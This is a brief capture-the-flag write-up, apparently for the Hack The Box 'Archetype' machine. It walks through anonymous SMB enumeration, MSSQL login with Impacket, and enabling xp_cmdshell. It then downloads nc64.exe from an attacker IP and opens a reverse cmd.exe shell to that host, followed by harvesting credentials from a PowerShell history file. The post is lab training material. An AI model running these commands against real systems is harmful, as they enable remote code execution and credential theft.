Post

Archetype - RCE

SMB enumaration > We get sql Creds > use Impacket tool > sql shell link below > make xp_cmdshell work fixing the error> use xp_cmdshell command line to download nc64.exe, execute > priv escalation now, winpeas.exe over to target > we get interesting file with password > psexec.py connect via admin

https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

Enumarate Smb Shares

1
smbclient -N -L IP
1
use auxiliary/scanner/smb/smb_enumshares

Connect to Smb Share

1
smbclient //IP/smbsharename -N

Impacket command:

1
python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.139.34 -windows-auth 

sysadmin account from enumartion SELECT is_srvrolemember(‘sysadmin’);

xp_cmdshell executable:

1
2
3
4
5
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure; - Enabling the sp_configure as stated in the above error message
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
1
xp_cmdshell "whoami"
1
EXEC xp_cmdshell 'powershell -c "cd C:\Users\sql_svc\Downloads; Invoke-WebRequest -Uri http://10.10.15.73/nc64.exe -OutFile nc64.exe"';

Execute .exe payload:

1
EXEC xp_cmdshell 'powershell -c "cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.15.73 443"';

file from winpeas:

1
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
This post is licensed under CC BY 4.0 by the author.